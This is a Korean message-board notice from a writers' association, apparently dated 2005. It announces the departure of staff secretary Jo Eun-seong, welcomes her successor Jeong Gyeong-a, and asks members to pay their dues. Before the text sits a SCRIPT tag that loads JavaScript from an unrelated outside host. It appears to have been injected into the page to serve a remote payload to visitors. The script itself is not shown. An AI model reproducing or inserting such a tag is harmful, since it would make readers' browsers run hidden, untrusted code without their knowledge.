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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 지난 1년 8개월 동안
작가회의 사무처 살림을 명랑하고 쾌활하게 꾸려주셨던
조은성 사무간사가
2005년 2월 25일자로 퇴임하셨습니다.
여러분들이 가장 많이 한 질문이 /'/시집가느냐/'/였는데,
결혼 계획은 없으시답니다.
심신을 자유롭게 하는 시간을 가지고 싶다십니다.
후임으로 사무처 살림을 꾸려주실 간사 분은
정경아씨입니다.
회원님들과 함께, 조은성 간사의 나날이 늘 명랑하고 쾌활하기를 빌고 싶고, 그동안 작가회의를 위해 애써주신 것에 대해 감사를 표하고 싶습니다.
그리고 회원님들, 그간 조은성 간사님을 아끼고 도와주셨듯,
신임 정경아 간사를 아끼고 도와주실 거죠?
그리고 회원님들, 회비 좀 내주십시오(언제 어디서나 이 말을 안하면 불편한 저-사무처장-의 심정을 양해해주실거죠?)
마지막으로 정리하고 인사드리겠습니다.
가는 사람도 화이팅!
오는 사람도 화이팅!
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